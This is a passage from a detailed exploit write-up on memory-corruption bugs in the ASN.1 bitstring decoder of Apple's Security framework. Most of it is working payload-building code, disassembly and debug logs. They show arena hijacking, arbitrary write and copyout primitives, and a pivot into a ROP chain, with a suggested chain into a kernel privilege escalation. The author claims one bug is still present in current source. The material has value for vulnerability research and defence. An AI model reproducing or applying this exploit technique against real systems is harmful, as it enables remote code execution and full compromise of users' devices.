some interesting tricks. One major shortcoming of our MAKE_ARENA/WRITE technique is that we can only write out constant values. To extract the shared cache we must be able to write out live pointers. While being focused on our write-primitive we have overlooked one important aspect: the write itself is just a byproduct of what we have built so far. Before we had a write primitive, we had an allocation primitive: we could target a scratch area in memory and force allocation of state objects at known locations. A viable scratch address can be found empirically: it can be any writable area in our victim memory space that should stay relatively constant between runs. It depends on the targeted application/daemon, but in absence of a true infoleak, it's still easy to figure it out: vmmap is your best friend; also the bruteforcer may be used as a poor man's vmmap. Check out the heap, the shared cache data segment, the daemon itself, the stacks, or whatever else floats your boat. Remember that state objects contain one pointer from the shared cache: the template itself. And while the parser is busy with our bitstring, we know the template is `kSecAsn1BitStringTemplate`, which is as good as any other pointer. First, we cause a state object allocation at a known address. This is done by hijacking the Arena to some reasonably large unused scratch space (known a priori), right before a new state object is allocated: |<------------------------- SCRATCH ------------------------->| | | | |<------- State object -------->| | | | | | ----------------------------------------------------------------------- ... top theTemplate dest ... ----------------------------------------------------------------------- Afterwards, we punch some writes before and some writes after the pointer. |<------------------------- SCRATCH ------------------------->| | | | |<------- State object -------->| | | | | | ----------------------------------------------------------------------- ... top theTemplate dest ... ----------------------------------------------------------------------- ^^^^ ^^^^^^^^ We are effectively building a bitstring around the template pointer using only constant writes to the scratch area. What should we write around the pointer? Exactly, MAKE_ARENA/WRITE contraptions. |<------------------------- SCRATCH ------------------------->| | | | |<------- State object -------->| | | | | | ----------------------------------------------------------------------- ... xxxxtheTemplateyyyyy ... ----------------------------------------------------------------------- ^ ^^ | |+- WRITE64(theTemplate) contraption | +- MAKE_ARENA64 contraption | +- start of run-time built bitstring This ephemeral bitstring does not even have to have a well-formed tail. Since we are inside an enveloped content, which is parsed by a recursive `SecCmsMessageDecode` call, the error code is ignored. If we could pivot the input buffer to this scratch area, it will pick up and write the template to whatever desired location. The exploit is writing itself at run-time, Inception-style. But how do we pivot the input buffer? It does not seem to be part of the state object, and to make it worse, it is kept by `SEC_ASN1DecoderUpdate` in a CPU register. Even if it was kept on the stack, targeting `buf` means we have exactly one chance. We cannot use MAKE_ARENA/WRITE(clean=0, ...) in single-shot mode, because it exhibits +1 bleeding (there is a zeroing step which goes over the write size + 1) and will clobber the adjacent variable; and we cannot use MAKE_ARENA/WRITE(clean=1, ...) in multi-shot mode because we risk having it accessed before it is fully pivoted. Looking at `sec_asn1d_record_any_header` and `sec_asn1d_add_to_subitems`, we notice the CPU register holding the input buffer is saved to the stack and is reloaded before return. However, inside `sec_asn1d_add_to_subitems` there is an assignment that looks interesting: thing = sec_asn1d_zalloc(); ... thing->data = data; ... state->subitems_tail->next = thing; The code flow disassembly is laid out below: _SEC_ASN1DecoderUpdate: ... MOV X0, X21 MOV X1, X20 // buf MOV X2, X22 // len BL _sec_asn1d_parse_leaf ... BL _sec_asn1d_record_any_header ... RET _sec_asn1d_record_any_header: ... B _sec_asn1d_add_to_subitems _sec_asn1d_add_to_subitems: STP X24, X23, [SP,#-0x10+var_30]! STP X22, X21, [SP,#0x30+var_20] STP X20, X19, [SP,#0x30+var_10] // save buf register (x20) STP X29, X30, [SP,#0x30+var_s0] ... MOV X19, X0 // state ... BL _sec_asn1d_zalloc MOV X20, X0 // controlled alloc -> thing ... LDR X8, [X19,#0x78] // x8 = state->subitems_head CBZ X8, ... LDR X8, [X19,#0x80] // x8 = state->subitems_tail STR X20, [X8,#0x10] // state->subitems_tail->next = thing STR X20, [X19,#0x80] // state->subitems_tail = thing ... LDP X29, X30, [SP,#0x30+var_s0] LDP X20, X19, [SP,#0x30+var_10] // restore buf register (x20) LDP X22, X21, [SP,#0x30+var_20] LDP X24, X23, [SP+0x30+var_30],#0x40 RET We know `sec_asn1d_zalloc` can be made to return whatever address we want, because we can virtually create Arenas out of thin air. If we could point `&subitems_tail.next` towards the location of X20 on the stack, we can reload the register holding the input buffer to whatever `sec_asn1d_zalloc` returns. That is the address of the ephemeral bitstring we previously built inside the scratch area of the victim space. Remember, the scratch area can can be determined empirically and is presumed at a constant address between runs. Locating the exact stack address where X20 is held is just a matter of using vmmap and/or the bruteforcer step in creative ways. Hint: a daemon crashes and is reloaded. Go back in time and try to spot some things that remained constant. The plan is as follows: after building the new bitstring, which is capable of writing live values, we create some more items. Recall we're slicing the scratch space hence the addresses of the ephemeral bitstring as well as the items and objects are considered known. We'll have a `SecAsn1Item` (serving as `dest`) and a subitem (serving as `subitems_head`). And then we force a hierarchy of three state objects: a grandfather object, a father object whose parent is the previous one and a child object which does the writing. The last object will smash its parent, filling in known values for: `dest`, `parent` (known value), `subitems_head`, `subitems_tail`. Taking the trip to `sec_asn1d_add_to_subitems` is just a matter of altering `state->place` to `duringBitString` and `state->underlying_kind` to `SEC_ASN1_ANY`. |<------------------------- SCRATCH ------------------------->| | | | +- parent -+ | | v | | ----------------------------------------------------------------------- ... DYNSTRING SecAsn1Item subitem STATE ... STATE ... STATE ... ----------------------------------------------------------------------- ^^^^^ | +-------+ smash After smashing the secondary object, we end up with this: |<------------------------- SCRATCH ------------------------->| | | | +- parent -+ | | v | | ----------------------------------------------------------------------- ... DYNSTRING SecAsn1Item subitem STATE ... STATE ... STATE ... ----------------------------------------------------------------------- | ^ ^ | | | +-- subitems_head --+ | +-- dest -----------------------+ | +-- subitems_tail --+ | v +-------------------> stack location of saved input buf This technique has a nasty side-effect: after coercing `sec_asn1d_zalloc` to return the desired address, `sec_asn1d_add_to_subitems` writes that same address to itself, which means the first bytes that'll get picked up from the newly pivoted `buf` will be the most significant bytes of the address. A workaround is to have said address be `0x...23nn`. The reasoning behind this is that 0x23 would be confused with a useless constructed bitstring allowing us to skip the MSB of the address and get out of the danger zone as quickly as possible. This should not be a major constraint, since the scratch area should be larger than 16kB anyway. Because of how things add up in the decoder, and working the arithmetic backwards, this imposes a constraint on our scratch buffer to be located at `0x...20nn`. step2 shows how this is accomplished (though you may need to fix STACK_RBP_RELATIVE to match your library/framework). sec_asn1d_parse_leaf: memcpy(0x10b5722e8 + 0 = 0x10b5722e8, "6666666666666666", 19) sec_asn1d_parse_leaf: pre-existing value = 0x0 adjusting item->len (19) to 148, unused=0x4 STATE transition ... sec_asn1d_parse_leaf: len=547, @479 sec_asn1d_parse_leaf: memcpy(0x10b5722e8 + 148 = 0x10b57237c, "540", 4) sec_asn1d_parse_leaf: pre-existing value = 0x0 adjusting item->len (152) to 18446744073709551488, unused=0x540 STATE transition ... sec_asn1d_parse_leaf: len=540, @486 sec_asn1d_parse_leaf: memcpy(0x10b5722e8 + 18446744073709551488 = 0x10b572268, "10b5720c0", 120) sec_asn1d_parse_leaf: pre-existing value = 0x7fab5e801868 STATE transition ... sec_asn1d_add_to_subitems:1880: zalloc(24) -> 0x10b572398 in arena o_pool/0x0 (left -1) sec_asn1d_add_to_subitems:1890: alloc(1) -> 0x10b5723b0 in arena o_pool/0x0 (left 18446744073709551615) adding to subitems_tail: 0x10b572258::0x7ffee4729138(0x7ffee4729148) <= 0x10b572398 <-- [E] new ARENA -> o_pool/0x7fab5e805020 of size 2087 sec_asn1d_add_to_subitems:1880: zalloc(24) -> 0x7fab5e805020 in arena o_pool/0x7fab5e805020 (left 2031) sec_asn1d_add_to_subitems:1890: alloc(1) -> 0x7fab5e805038 in arena o_pool/0x7fab5e805020 (left 2023) adding to subitems_tail: 0x10b572258::0x10b572398(0x10b5723a8) <= 0x7fab5e805020 sec_asn1d_prepare_for_contents:1458: zalloc(35) -> 0x7fab5e805040 in arena o_pool/0x7fab5e805020 (left 1983) sec_asn1d_parse_leaf: len=418, @18446603704184794972 sec_asn1d_parse_leaf: memcpy(0x7fab5e805040 + 0 = 0x7fab5e805040, "1000000010b57", 35) sec_asn1d_parse_leaf: pre-existing value = 0x0 STATE transition ... sec_asn1d_prepare_for_contents:1458: zalloc(29) -> 0x7fab5e805068 in arena o_pool/0x7fab5e805020 (left 1951) sec_asn1d_push_state:429: zalloc(144) -> 0x7fab5e805088 in arena o_pool/0x7fab5e805020 (left 1807) STATE transition ... sec_asn1d_parse_leaf: len=375, @18446603704184795015 sec_asn1d_parse_leaf: memcpy(0x7fab5e805068 + 0 = 0x7fab5e805068, "7878787878787878", 19) sec_asn1d_parse_leaf: pre-existing value = 0x0 adjusting item->len (19) to 148, unused=0x4 STATE transition ... sec_asn1d_parse_leaf: len=353, @18446603704184795037 sec_asn1d_parse_leaf: memcpy(0x7fab5e805068 + 148 = 0x7fab5e8050fc, "518", 4) sec_asn1d_parse_leaf: pre-existing value = 0x0 adjusting item->len (152) to 18446744073709551528, unused=0x518 STATE transition ... sec_asn1d_parse_leaf: len=346, @18446603704184795044 sec_asn1d_parse_leaf: memcpy(0x7fab5e805068 + 18446744073709551528 = 0x7fab5e805010, "10b572611", 16) sec_asn1d_parse_leaf: pre-existing value = 0x7fab5e805827 adjusting item->len (18446744073709551544) to 18446744073709551040, unused=0x0 STATE transition ... sec_asn1d_prepare_for_contents:1458: zalloc(9) -> 0x10b572601 in arena o_pool/0x0 (left -1) sec_asn1d_parse_leaf: len=324, @18446603704184795066 sec_asn1d_parse_leaf: memcpy(0x10b572601 + 0 = 0x10b572601, "10b503510", 8) In case you missed it, the buffer was switched at [E] in the previous log. As convoluted as it is, this method allows us to pivot from a static buffer to a dynamically constructed one, capable of writing shared cache pointers to any location that would help us leak the shared cache slide outside and build the ROP strip as shown next, in step3. We notice there is one particular callback that gets called during parsing: `state->top->filter_proc(state->top->filter_arg)`. It looks powerful enough to pivot to a ROP strip. Let's revise the `state->top` structure: typedef struct sec_DecoderContext_struct { PRArenaPool *our_pool; PRArenaPool *their_pool; void *their_mark; sec_asn1d_state *current; sec_asn1d_parse_status status; SEC_ASN1NotifyProc notify_proc; void *notify_arg; PRBool during_notify; SEC_ASN1WriteProc filter_proc; void *filter_arg; PRBool filter_only; } SEC_ASN1DecoderContext; We plan on creating a fake `SEC_ASN1DecoderContext`, fill in `filter_proc` with a pivot gadget, then fill in `filter_arg` with the address of the ROP strip. We are only interested in `filter_proc` and `filter_arg`, everything else can be ignored because the ROP strip is not supposed to ever return. After that, we cause another state object allocation and point its `top` to our fake `SEC_ASN1DecoderContext`. |<------------------------- SCRATCH ------------------------->| | | | +--------------------- top -+ | | v | | ----------------------------------------------------------------------- ... ROP strip ... SEC_ASN1DecoderContext TEMP STATE TEMP STATE ... ----------------------------------------------------------------------- ^ | | ^ | | filter_proc (pivot) <-+ | +------------+ +----- filter_arg -------------+ change top We can use our write primitive to lay down the ROP strip and an incomplete `SEC_ASN1DecoderContext` inside the scratch area. Then we trigger a couple of object allocations so that one object can smash its parent `top`. This is illustrated in step3. Once we have the ROP running, we can use a kernel LPE. A good candidate is CVE-2016-4656[5] + CVE-2016-4655[6] pair, which can be triggered from ROP easily. -- 4 - Fast forward Five years later I decide to do this write-up, trying hard to remember some details of the ancient exploit; I begin tinkering with the mock-ups and the old library. I realise there were two bugs, not one, and I decide to check out the latest and greatest source tarball: Security-59754.80.3, as of this writing. Yep, still there. Sadly, the fix for CVE-2016-1950 not only eliminated the bit/byte confusion but also introduced new safety checks so that `data->Length` could not wrap around. It meant we cannot reach the Arena structure by going backwards in memory. I wept. And then I got completely black out drunk, though for completely unrelated reasons. It was a fun night. But I digress... -- 4.0 - Rolling the dice Ignoring my terrible hangover, let's revisit the other bug, the logic flaw: when the parser encounters an empty bitstring, `sec_asn1d_parse_bit_string` takes a shortcut and then, later in `sec_asn1d_prepare_for_contents`, the item is re-allocated with the wrong size. Please revisit section 2.2 for a refresh. Right, it allocates the buffer anew but this time in `our_pool`, sized for `state->contents_length` which -- in case of constructed bitstrings -- will be for the next component only. Anything that gets allocated after that point will be smashed by subsequent bitstrings. Armed with what we learned so far, a trigger is trivial. We smash a state object to cause an immediate crash: CONS_BITSTRING(len); START_BITSTRING(0, 0); CONS_BITSTRING(3 + 5); REP_BITSTRING(0, 5, 'a'); REP_BITSTRING(0, 8 + 144 - 5, 'b'); CONS_BITSTRING(3 + 8); REP_BITSTRING(0, 8, 'c'); if (len) { START_BITSTRING(0, 0); START_BITSTRING(0, len - 1); while (len) { PUSH1('z'); } } The 'a' part allocates 8 bytes, followed by a state object (144 bytes). The first memcpy covered 5 bytes, so the next memcpy needs to cover 8 + 144 - 5 bytes. The 'b' part leaves the dest pointer dangling over the upcoming next state object and then the 'c' part would smash the 'top' pointer resulting in a reliable crasher. sec_asn1d_prepare_for_contents: zalloc(8) -> 0x7ff006008dd0 in arena o_pool/0x7ff006008c20 (left 1615) sec_asn1d_push_state: zalloc(144) -> 0x7ff006008dd8 in arena o_pool/0x7ff006008c20 (left 1471) STATE transition 0x7ff006008d40 -> 0x7ff006008dd8 sec_asn1d_parse_leaf: memcpy(0x7ff006008dd0 + 0 = 0x7ff006008dd0, "61616161", 5) sec_asn1d_parse_leaf: pre-existing value = 0x0 STATE transition 0x7ff006008dd8 -> 0x7ff006008d40 STATE transition 0x7ff006008d40 -> 0x7ff006008cb0 STATE transition 0x7ff006008cb0 -> 0x7ff006008d40 sec_asn1d_parse_leaf: memcpy(0x7ff006008dd0 + 5 = 0x7ff006008dd5, "6262626262626262", 147) sec_asn1d_parse_leaf: pre-existing value = 0xf006006a20000000 STATE transition 0x7ff006008d40 -> 0x7ff006008cb0 STATE transition 0x7ff006008cb0 -> 0x7ff006008d40 sec_asn1d_push_state: zalloc(144) -> 0x7ff006008e68 in arena o_pool/0x7ff006008c20 (left 1327) STATE transition 0x7ff006008d40 -> 0x7ff006008e68 sec_asn1d_parse_leaf: memcpy(0x7ff006008dd0 + 152 = 0x7ff006008e68, "6363636363636363", 8) sec_asn1d_parse_leaf: pre-existing value = 0x7ff006006a20 This doesn't seem very exploitable, especially since `dest` is allocated somewhere in `their_pool`, the state objects are allocated in `our_pool` and we cannot touch the Arenas anymore. Or can we? After studying the allocation pattern, we notice something which manifests in a consistent manner after the 'b' segment: state = 0x7fe18b80d068 top = 0x7fe18b803420 dest = 0x7fe18b803e68 state = 0x7fb3ad009268 top = 0x7fb3ad006e20 dest = 0x7fb3ad008a68 state = 0x7f9798809268 top = 0x7f9798806e20 dest = 0x7f9798808a68 state = 0x7fad49009268 top = 0x7fad49006e20 dest = 0x7fad49008a68 state = 0x7fb12880fa68 top = 0x7fb12880dc20 dest = 0x7fb12880be68 state = 0x7fe8a5809268 top = 0x7fe8a5806e20 dest = 0x7fe8a5808a68 state = 0x7fe1d4009268 top = 0x7fe1d4006e20 dest = 0x7fe1d4008a68 state = 0x7fb212809268 top = 0x7fb212806e20 dest = 0x7fb212808a68 state = 0x7fe7ca804668 top = 0x7fe7ca802220 dest = 0x7fe7ca803e68 state = 0x7fa123810068 top = 0x7fa12380dc20 dest = 0x7fa12380f868 state = 0x7fa1cc809268 top = 0x7fa1cc806e20 dest = 0x7fa1cc808a68 state = 0x7fc288009268 top = 0x7fc288006e20 dest = 0x7fc288008a68 state = 0x7fd054809268 top = 0x7fd054806e20 dest = 0x7fd054808a68 state = 0x7fa36a80f068 top = 0x7fa36a80cc20 dest = 0x7fa36a80e868 state = 0x7fdd63009268 top = 0x7fdd63006e20 dest = 0x7fdd63008a68 state = 0x7fd63b810068 top = 0x7fd63b80dc20 dest = 0x7fd63b80f868 state = 0x7fee16809268 top = 0x7fee16806e20 dest = 0x7fee16808a68 state = 0x7fd1a880da68 top = 0x7fd1a880bc20 dest = 0x7fd1a8803e68 state = 0x7ff7cf809268 top = 0x7ff7cf806e20 dest = 0x7ff7cf808a68 state = 0x7fdf82005068 top = 0x7fdf82002c20 dest = 0x7fdf82004868 ... With rather decent probability, we observe a repeating pattern of state/top pair: 9268/6e20. These addresses are for illustrative purposes, the real allocation pattern of the victim daemon we are attacking must be determined empirically, by whatever means. It's not the addresses themselves that are important, but rather the LSB of those addresses. Again, the state object is always at a constant distance from the start of the Arena and `dest` seems to be in 0xFFFF range. We could arrange the memory layout like this: |<----- state object ----->| | | ----------------------------------------------------------------------- ... [&Arena.limit - top] top, template, dest, ... ----------------------------------------------------------------------- | | |<---- SecAsn1Item ---->| ^ | +-- to the Arena ---+ Since `state->dest` lies in close proximity of the state object, we can use a partial write to reroute it to &state - 8, and then smash the Arena: const unsigned FILLER_LEN = 8 + 144 - 5; const unsigned long long LAST_STATE = 0x7fca4b809268; const unsigned long long CURRENT_TOP = 0x7fca4b806e20; const unsigned long long ARENA_LIMIT = LAST_STATE - 0x258; // fixed START_BITSTRING(0, 0); CONS_BITSTRING(3 + 5); REP_BITSTRING(0, 5, 'a'); // leave the pointer dangling over 'dest' START_BITSTRING(0, FILLER_LEN + 2 * 8); PUSHR(FILLER_LEN - 8, 'b'); // place this right below 'top' PUSH8((ARENA_LIMIT - CURRENT_TOP) << 3); PUSHR(2 * 8, 'b'); // skip past 'top' and 'theTemplate' // reroute 'dest' to LAST_STATE - 8 and smash the Arena CONS_BITSTRING(3 + 2 + 3 + 16); // 'dest' -> { ARENA_LIMIT - CURRENT_TOP, CURRENT_TOP } START_BITSTRING(0, 2); PUSH2(LAST_STATE - 8); // partial write // rewrite the Arena START_BITSTRING(0, 16); PUSH8(0x4141414141414150); // limit PUSH8(0x4141414141414140); // avail |<----- state object ----->| | | ----------------------------------------------------------------------- ... [&Arena.limit - top] top, template, dest ... ----------------------------------------------------------------------- | | | |<---- SecAsn1Item ---->|<-----------+ ^ | +-- to the Arena ---+ ... sec_asn1d_parse_leaf: memcpy(0x7fe4190091d0 + 5 = 0x7fe4190091d5, "6262626262626262", 163) sec_asn1d_parse_leaf: pre-existing value = 0xe419006e20000000 STATE transition 0x7fe419009140 -> 0x7fe4190090b0 STATE transition 0x7fe4190090b0 -> 0x7fe419009140 sec_asn1d_push_state:430: zalloc(144) -> 0x7fe419009268 in arena o_pool/0x7fe419009020 (left 1327) STATE transition 0x7fe419009140 -> 0x7fe419009268 state = 0x7fe419009268 top = 0x7fe419006e20 theTemplate = 0x1001792e0 dest = 0x7fe419008a68 our_mark = 0x0 parent = 0x7fe419009140 contents_length = 3 pending = 2 consumed = 3 depth = 9 allocate = 0 indefinite = 0 sec_asn1d_parse_leaf: memcpy(0x7fe4190091d0 + 168 = 0x7fe419009278, "9260", 2) sec_asn1d_parse_leaf: pre-existing value = 0x7fe419008a68 STATE transition 0x7fe419009268 -> 0x7fe419009140 STATE transition 0x7fe419009140 -> 0x7fe419009268 state = 0x7fe419009268 top = 0x7fe419006e20 theTemplate = 0x1001792e0 dest = 0x7fe419009260 our_mark = 0x0 parent = 0x7fe419009140 contents_length = 17 pending = 16 consumed = 3 depth = 9 allocate = 0 indefinite = 0 sec_asn1d_parse_leaf: memcpy(0x7fe419006e20 + 8688 = 0x7fe419009010, "4141414141414150", 16) sec_asn1d_parse_leaf: pre-existing value = 0x7fe419009827 ... In effect, this means we are replacing Arena `limit/avail` with whatever memory range we want, and then any further allocations will happen there. We can again resort to a scratch area which will become our allocation playground. This approach of hijacking the Arena is probabilistic. Synthetic benchmarks showed pretty good success rate -- around 30-40% -- so it may be that in a real world scenario that would be somewhere up to 20%. Not exactly bad, but not very good either. Debugging will be a royal pain in the ass but that's not even terribly important; the success rate will be reduced even further by whatever assumptions we may have to make down the road. The hangover was still raging the day after the next one. I'll never drink again! (that's probably a lie) -- 4.1 - Dance, little bunny! The less-than-stellar success rate is kinda bothersome, let's see if we can do better. We have two pools of Arenas: `their_pool` and `our_pool`. The former holds destination structures (aka `dest`) and the final values of the parsing process (the reassembled bitstring from its constituents). The latter holds intermediate values (eg: substrings) and state objects. All Arenas have a default size of `SEC_ASN1_DEFAULT_ARENA_SIZE`=2048, with the exception of the first `their_pool` Arena, which is 1024. Our bitstring will ultimately exceed 2048, therefore we are guaranteed the arena code has already depleted whatever Arena was active when entering the bitstring. It means when the time comes to allocate a new `dest` it will happen inside a fresh `their_pool` Arena. Let's try to forcibly deplete `our_pool` Arena, too. This process will not change the existing `dest`. CONS_BITSTRING(len); // len must be >= 2048, so that their_pool is already depleted. // Now consume our_pool. We want to switch to a fresh Arena right // after we generate a new 'dest' for (unsigned k = 0; k < 8; k++) { CONS_BITSTRING(3); START_BITSTRING(0, 0); } This process of creating empty objects has the net effect of consuming `our_pool` without taking up too much space in the input. Side-note: the empty bitstrings above are harmless, because they are not followed by any other primitive substring component and therefore they will not trigger the bug. Yet. At this point we have the guarantee that both pools are depleted. Now we trigger the bug, overwriting the currently active state object: // (continued) START_BITSTRING(0, 0); CONS_BITSTRING(3 + 5); REP_BITSTRING(0, 5, 'a'); // leave the pointer dangling over 'place' REP_BITSTRING(0, FILLER_LEN + 6 * 8, 'b'); // Change 'place', 'pending' and a bunch of other fields CONS_BITSTRING(len); // extend this construct to the end START_BITSTRING(0, 92); PUSH4(5); // place: afterLength PUSH4(0x20); // found_tag_modifiers: SEC_ASN1_CONSTRUCTED PUSH8(0xdfULL); // check_tag_mask PUSH8(3ULL); // found_tag_number PUSH8(3ULL); // expect_tag_number PUSH8(3ULL); // underlying_kind PUSH8(0ULL); // contents_length: 0 PUSH8(1ULL + 92); // pending: +1 PUSH8(3ULL); // consumed PUSH4(9); // depth PUSH4(0); // bit_string_unused_bits PUSH8(0ULL); // subitems_head PUSH8(0ULL); // subitems_tail PUSH3(1); // allocate: 1 PUSH1(1); // indefinite: 1 We make some select changes to the state object, while keeping unchanged the values we don't need. Let's highlight the changes made to the object: place = afterLength because we want to go straight to `sec_asn1d_prepare_for_contents`. But we must dodge `sec_asn1d_parse_leaf` tail switching to `beforeEndOfContents`, and so we also need: pending = whatever it was before (92) + 1 Once we reach `sec_asn1d_prepare_for_contents`, we have: allocate = TRUE and therefore a new `dest` will be allocated in `their_pool`. Since that pool is already empty, we guarantee that the new `SecAsn1Item` will be the first thing in a new `their_pool` Arena. We will hit an assert because we are not supposed to be here unless `dest` was already NULL. We could set it to NULL with our bug, however, that means we would need to obliterate the `parent`, which raises further issues. While this is probably fixable, we won't be concerning ourselves with it, because the assert does not exist in Release binaries. Later on, `contents_length` comes into play, and it works best for us if: contents_length = 0 This allows us to clear the `pending` field and skip further allocations. Finally, having also set: indefinite = TRUE we dodge again `afterEndOfContents`. The last piece clicks in place with: found_tag_modifiers = SEC_ASN1_CONSTRUCTED which switches to `duringConstructedString` then pushes a new state. This new state gets allocated right at the beginning of `our_pool` Arena because we already depleted the old one. At this point, the pools look like this: state->dest ---------+ v T: [next=0x0] [base] [limit] [avail] [Length=0x0, Data=NULL] | ^ +----------------------+ O: [next=0x0] [base] [limit] [avail] [state] And then we follow-up with our old friend: trigger the bug again, without leaving the parent construct. Since `dest` is the first block sliced from `their_pool` Arena, shaving off its LSB will reroute `dest` to the Arena structure itself. This results in a type confusion: Arena `next` and `base` acting like a `SecAsn1Item` pointing to the old `dest`. We now trigger a write of eight zeroes followed by one 0x10 byte, effectively keeping the `dest->Length` to 0 and doing a partial overwrite over `dest->Data`, making the old `dest` point to `&Arena.limit`. Finally, having popped back the old `dest` we are now free to overwrite the Arena: // (continued) START_BITSTRING(0, 0); CONS_BITSTRING(3 + 5); REP_BITSTRING(0, 5, 'c'); // leave the pointer dangling over 'dest' REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'd'); // temporarily make 'dest' overlap with their_pool Arena, by shaving off the LSB CONS_BITSTRING(3 + 1 + 3 + 9); // relocate 'dest' -> PLArena START_BITSTRING(0, 1); PUSH1(0); // LSB = 0 // 'dest' is pointing to previous self, shave off the LSB of Data START_BITSTRING(0, 9); PUSH8(0ULL); // Length PUSH1(0x10); // LSB = 0x10 // 'dest' is popped back, with dest->Data pointing to our_pool Arena.limit START_BITSTRING(0, 16); PUSH8(0x4141414141414150); // limit PUSH8(0x4141414141414140); // avail If that looks confusing it's because it really is. Perhaps some pictures can clear it up. After the break and the 'c' segment: state->dest ---------+ v T: [next=0x0] [base] [limit] [avail] [Length=0x0, Data] | ^ | +----------------------+ +----------+ v O: [next=0x0] [base] [limit] [avail] [state] [block(sz=1/8)] [block(8)] After the 'd' segment, shave off `dest` LSB: +------------- state->dest v T: [next=0x0] [base] [limit] [avail] [Length=0x0, Data] | ^ | +----------------------+ +----------+ v O: [next=0x0] [base] [limit] [avail] [state] [block(sz=1/8)] [block(8)] Zero `dest->Length` and set `dest->Data` LSB = 0x10: +------------- state->dest v T: [next=7*8] [base] [limit] [avail] [Length=0x0, Data] | ^ | +----------------------+ | +----------------------------+ v O: [next=0x0] [base] [limit] [avail] [state] [block(sz=1/8)] [block(8)] After popping `dest`, smash `our_pool` Arena `limit/avail`: state->dest ---------+ v T: [next=7*8] [base] [limit] [avail] [Length=128, Data] | ^ | +----------------------+ | +----------------------------+ v O: [next=0x0] [base] [ END ] [BEGIN] [state] [block(sz=1/8)] [block(8)] Woo-hooo! We just hijacked the current `our_pool` Arena. Where to? Well, to our old friend, the scratch area. Once we are rocking the Arena at a known address inside the victim space, we can predict absolutely all subsequent allocations. Determining such a scratch address is again a matter of vmmap and observing where the writable allocations end up. Refer to the attached source code READMEs for more info. NB: 0x4b4b4b4b4b4b4b.. in the examples below are all known addresses inside the scratch area and can be presumed known/constant. -- 4.2 - He who controls the Arena Hijacking the Arena in a predictable manner is a big win but it proves to be a much more complex process than it was before CVE-2016-1950 got fixed. Unlike the old way, where we could create new Arenas out of thin air at the snap of the fingers, this time we should keep a grip on the one we just got a hold of. For this reason we abandon our MAKE_ARENA/WRITE contraptions and switch to a different paradigm for achieving write-anywhere. Having the Arena in the scratch space means that we know where everything is laid out. We first generate whatever items we need right at the top of our newly built Arena and then use the bug repeatedly to route `dest` to them, in order to perform the writes. This is easy since we know the exact address of each item. Example: START_BITSTRING(0, 0); START_BITSTRING(0, 16); // SecAsn1Item: PUSH8(0ULL); // Length PUSH8(0x4343434343434343); // Data: WHERE we are writing // repeat the evil scheme START_BITSTRING(0, 0); CONS_BITSTRING(3 + 5); REP_BITSTRING(0, 5, 'f'); // leave the pointer dangling over 'dest' REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'f'); // reroute 'dest' and perform the write CONS_BITSTRING(3 + 8 + 3 + 8); // 'dest' -> &SecAsn1Item = { 0, destination } START_BITSTRING(0, 8); PUSH8(0x4b4b4b4b4b4b4b42); // &SecAsn1Item // write START_BITSTRING(0, 8); PUSH8(0x4646464646464646); // WHAT we are writing Replace 0x4b4b4b4b4b4b4b42 with the exact address of the `SecAsn1Item`, as we know it in advance (it's right at the top of the scratch space), and the code above will perform: *(uint64_t *)0x4343434343434343 = 0x4646464646464646; At this point, our new bug is as capable as the old one: writing static values at known addresses. However, one thing that was kinda bothersome about the old exploit was that it was comprised of multiple steps and it was relying on some difficult to guess stack address. Can we do this one in a single step? Let's examine the richness of the decoding machinery and see what kind of primitives it has to offer. -- 4.2.0 - Copyout By copyout, we mean the ability to copy any value from the scratch space to any arbitrary address. `sec_asn1d_concat_substrings` can copy from subitems into a new `their_pool` allocation. The relevant code in secasn1d.c is: where = item->Data; substring = state->subitems_head; while (substring != NULL) { if (is_bit_string) item_len = (substring->len + 7) >> 3; else item_len = substring->len; PORT_Memcpy (where, substring->data, item_len); where += item_len; substring = substring->next; } While we decided to never mess again with `our_pool` Arenas, that doesn't apply to `their_pool` Arenas. As long as we stay under the mega-object used for the initial hijack, `their_pool` will never be used by the decoder. It means we can freely play with that pool and the easiest way to achieve this is to create a completely new pool and replace it: // reserve a bunch of subitems, items, PORTArenaPool and objects START_BITSTRING(0, 0); START_BITSTRING(0, 24 + 24 + 8 * 8 + 7); // subitem PUSH8(0x4b4b4b4b4b4b4b41); // data: where we are copying out FROM PUSH8(8ULL << 3); // len PUSH8(0ULL); // next // subitem PUSH8(0x4545454545454545); // data: where we are copying in FROM PUSH8(8ULL); // len PUSH8(0ULL); // next // PORTArenaPool PUSH8(0); // PORTArenaPool.arena.first.next (NULL, but could be chained) PUSH8(0ULL); // PORTArenaPool.arena.first.base PUSH8(0x4141414141414170); // PORTArenaPool.arena.first.limit PUSH8(0x4141414141414160); // PORTArenaPool.arena.first.avail (copyout DESTINATION) PUSH8(0x4b4b4b4b4b4b4b48); // PORTArenaPool.arena.current = &PORTArenaPool.arena PUSH8(256ULL); // PORTArenaPool.arena.arenasize PUSH8(7ULL); // PORTArenaPool.arena.mask PUSH8(0xB8AC9BDFULL); // PORTArenaPool.magic // this serves as overlapping SecAsn1Item with 'top' below PUSH7(8ULL << 3); // Length: 8 // state (promptly discarded) CONS_BITSTRING(3); START_BITSTRING(0, 0); The scratch space will have the following layout: |<-- real state object -->| | | [subitem] [PORTArenaPool] [ 8 ] [top] [template] [dest] ... | | |< fake item >| The overlapping item is `{ 8, top }` and we can use our write primitive to replace `top->their_pool` with our own `PORTArenaPool`. Once we have that, all subsequent allocations in `their_pool` will be controlled by us. We can even chain multiple Arenas in `PORTArenaPool` and, if sized correctly, they will perform different controlled writes with little to no effort. First, we replace `their_pool`: START_BITSTRING(0, 0); CONS_BITSTRING(3 + 5); REP_BITSTRING(0, 5, 'f'); REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'f'); // leave the pointer dangling over 'dest' CONS_BITSTRING(3 + 8 + 3 + 8); START_BITSTRING(0, 8); PUSH8(0x4b4b4b4b4b4b4b42); // 'dest' -> &SecAsn1Item = { 8, state#1->top } START_BITSTRING(0, 8); PUSH8(0x4b4b4b4b4b4b4b48); // &PORTArenaPool 0x4b4b4b4b4b4b4b42 is the address of the fake SecAsn1Item, consisting of a +8 byte offset and `top` as base. 0x4b4b4b4b4b4b4b48 is our full PORTArenaPool replacement for `their_pool`, consisting of a new Arena: [0x4141414141414160 .. 0x4141414141414170]. It represents the copyout destination. This replacement step must be performed once, followed by the actual copyout: // cause a state object allocation with known parent CONS_BITSTRING(3 + FILLER_LEN + 112 + 38); START_BITSTRING(0, 0); CONS_BITSTRING(3 + 5); REP_BITSTRING(0, 5, 'g'); REP_BITSTRING(0, 